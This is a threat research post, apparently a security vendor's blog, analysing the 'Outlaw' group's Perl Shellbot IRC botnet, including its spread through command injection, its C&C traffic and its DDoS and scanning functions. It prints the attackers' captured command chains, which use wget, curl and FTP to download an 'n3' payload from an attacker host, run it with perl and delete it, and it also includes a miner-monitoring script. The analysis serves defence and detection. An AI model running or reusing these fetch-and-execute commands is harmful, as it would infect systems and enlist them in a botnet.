We uncovered an operation of a hacking group, which we’re naming “Outlaw” (translation derived from the Romanian word haiduc, the hacking tool the group primarily uses), involving the use of an IRC bot built with the help of Perl Shellbot. The group distributes the bot by exploiting a common command injection vulnerability on internet of things (IoT) devices and Linux servers. Further research indicates that the threat can also affect Windows-based environments and even Android devices.
The threat actors in this recent activity compromised an FTP (File Transfer Protocol) server of a Japanese art institution, as well as a Bangladeshi government site over a vulnerability on Dovecot mail server. They then used two compromised servers and linked them to a high availability cluster to host an IRC bouncer, which was used to command and control the emerging botnet.
Aside from finding several exploit files that allowed us to understand how the initial exploit on the first server worked, we also found configuration files of the hackers’ toolset that allowed them to target organizations through DoS and SSH brute force, using so-called “class files.” Moreover, this suggests that the threat actors were building a botnet that can be used for cybercriminal purposes.
The operation particularly caught our attention after various sensors of our honeypots started to capture new injected commands:
|188.8.131.52||uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*|
|184.108.40.206||uname -a; wget ftp://museum:museum04@153[.]122[.]156[.]232/Mail/n3; rm -rf n3; rm -rf n3.*|
|220.127.116.11||uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*|
|18.104.22.168||uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*|
|22.214.171.124||uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*;wget hxxp://54[.]37[.]72[.]170/n.tgz;tar -xzvf n.tgz;rm -rf n.tgz;cd .s;./run;cd /tmp|
|126.96.36.199||uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*|
Table 1. Commands we identified
Note: Source – Source IP address which tried to inject the command;
Command – Command as captured by the honeypot sensor utility
Table 2. Countries with detections by endpoints
(based on Trend Micro Smart Protection Network feedback)
The botnet itself is built with a Shellbot variant with script written in Perl and even available on GitHub. The botnet was previously distributed via an exploit of the Shellshock vulnerability, hence the name “Shellbot.” This time, the threat actors mostly distribute it via previously brute-forced or compromised hosts.
In order to look into the threat’s behavior, we looked into our honeypots with several hosts:
We then monitored the C&C traffic and obtained the IRC channels’ information. By the first infection, around 142 hosts were present in the IRC channel.How it infects systems
A command is first run on the IoT device or server. In this example, the command “uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*” verifies that the host accepts commands from the command-line interface (CLI) with “uname -a“. Once the command runs successfully, the working directory is changed to “/tmp“. The downloaded payload, n3 file (detected by Trend Micro as PERL_SHELLBOT.SM), is then consequently run with perl interpreter. In the final step of the chain, the n3 file is removed, with no trace of activity left on the attacked system.
Figure 1. Actual payload, with filename n3
Once the bot is installed, it starts to communicate with one of the C&C servers via IRC.
Figure 2. The bot runs as “/usr/sbin/httpd”
Figure 3. Outgoing connection to one of the C&C servers, luci[.]madweb[.]ro
The C&C connection attempt occurs right after the infection and is persistent. In case of lost connectivity, it immediately reconnects once an internet connection is available. At this stage, restarting the infected machine won’t revert the changes done to the system.
To understand the dynamics of the C&C communication better, we also captured the traffic of the infected hosts. Reconstructed Transmission Control Protocol (TCP) streams show in clear text the download of the malicious file and subsequent communication with the C&C servers.Captured network traffic during the infection
A TCP stream from traffic capture between the infected host and C&C server at the time of the infection below shows that the n3 file was consequently downloaded and run on the target system.
Figure 4. TCP stream from network traffic between the infected host and C&C server
Figure 5. TCP communication stream after the infection
After the infection, the communication shows that it joined the bot’s IRC channel and assigned nickname and server configuration information. Modifying Domain Name System (DNS) settings should show and confirm that a real target is involved (not just the honeypot) and that it has visibility to the internet. It also shows the number of processor cores and the type of processor. It also discloses that the Splunk is running on the host by using the command “cat /etc/passwd/” with filtered output. This is to notify the admins that the target device is being monitored or if it has an antivirus (AV) solution installed.
It is followed by PING/PONG communication (where the IRC server occasionally sends a PING message, which requires the response of a PONG message to prevent getting disconnected) to keep the communication channel open.
Figure 6. Separate information are sent to IRC admins
There is a list of hardcoded process names Shellbot is assigned when run. These help hide the running bot from system admins, security monitoring, and researchers.
Figure 7. Screenshot from Shellbot’s configuration file with the available process names
Once the Shellbot is running on a target system, the administrator of the IRC channel can send various commands to the host. The list includes commands to perform a port scan, perform various forms of distributed denial of service (DDoS), download a file, get information about other machines, or just send the operating system (OS) information and list of certain running processes on the C&C server.Possible script functions an IRC command can call
Figure 8. Screenshot of script header with list of available commands
Some of the IRC-related functions seen to have been used were join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, and die. DDoS-related activity affects User Data Protocol (UDP), TCP, and HTTP traffic.
If a port scan is invoked, the bot always scans the following ports:
Table 3. Ports scanned by the botSample of network communication captured on infected hosts
This network communication seems to be the output of an XMR rig mining monitoring tool.
Code of the tool:
root@ubuntu:~$ cat speed.sh
result=`docker ps -q | wc -l`
while [ “$i” -le “$result” ]
echo “miner numa $i speed”
docker logs minernuma$i | tail -8 | grep speed >> /tmp/minernuma$i.tmp
tail -1 /tmp/minernuma$i.tmp
i=$(($i + 1))
The infected host always gets assigned a nickname of “sEx” along with a randomly generated integer. In this example, the host nickname is “sEx-3635”.
Figure 9. TCP stream with a sample host nickname
All infected hosts also showed base C&C connection in the form of PING/PONG traffic, occasionally asked for updates, and provided some host information like suspicious crontab-like records and process identifier (PID) of the sd-pam process of the user who was running the IRC bot on the system. The following is the information exchange about a host, possibly the bot’s new joiner or another target indirectly scanned over the zombie hosts, the infected host in this case:
Figure 10. Host information exchange TCP stream
Figure 11. One of the spotted identities linked to compromised servers
During the traffic monitoring, several identities such as luci, lucian, dragos, mazy, hydra, and poseidon were spotted in IRC communication channels.
These identities were also found as usernames on a compromised Japanese server. This server seemed to have a certain importance as it was also used to distribute an early version of this N3-Shellbot. The distribution of the dropper, n3 file, was done mostly on the second C&C server. Communication with this server is shown in the following example:
Figure 12. Dragos SSH login
Using the credentials from one of the commands injected into the honeypots, we were able to get downloads of the files that the threat actors used. The files’ contents often changed on the server (some were deleted, while some were added). According to the time correlation, it mostly happened in during the daytime (in Central European Time/CET): during business hours and times. The activity never happened at night or on the weekends, suggesting that the threat actors operated on a somewhat daily basis.
Find a more extensive run-through of this operation, such as how the IRC bouncer involved comments in the Romanian language, the hacking tools used, exploits related to Ubuntu, and the indicators of compromise (IoCs), in the Appendix.Preventing compromise from malicious bot-related activities
The Outlaw group here used an IRC bot, which isn’t a novel threat. The code used is available online, making it possible to build such a bot (with a fully undetectable toolset) and operate it under the radar of common network security solutions. Additionally, in this particular operation, it should be noted that the attackers looked into targeting big companies. While we haven’t seen widespread attacks from this hacking group, it is important to adopt security measures that can defend systems against any potential attacks, such as:
Users can also consider adopting security solutions that can provide protection from malicious bot-related activities through a cross-generational blend of threat defense techniques. Trend Micro XGen security provides high-fidelity machine learning that can secure the gateway and endpoints, and protect physical, virtual, and cloud workloads. With technologies that employ web/URL filtering, behavioral analysis, and custom sandboxing, XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities. XGen security also powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense.
The post Perl-Based Shellbot Looks to Target Organizations via C&C appeared first on .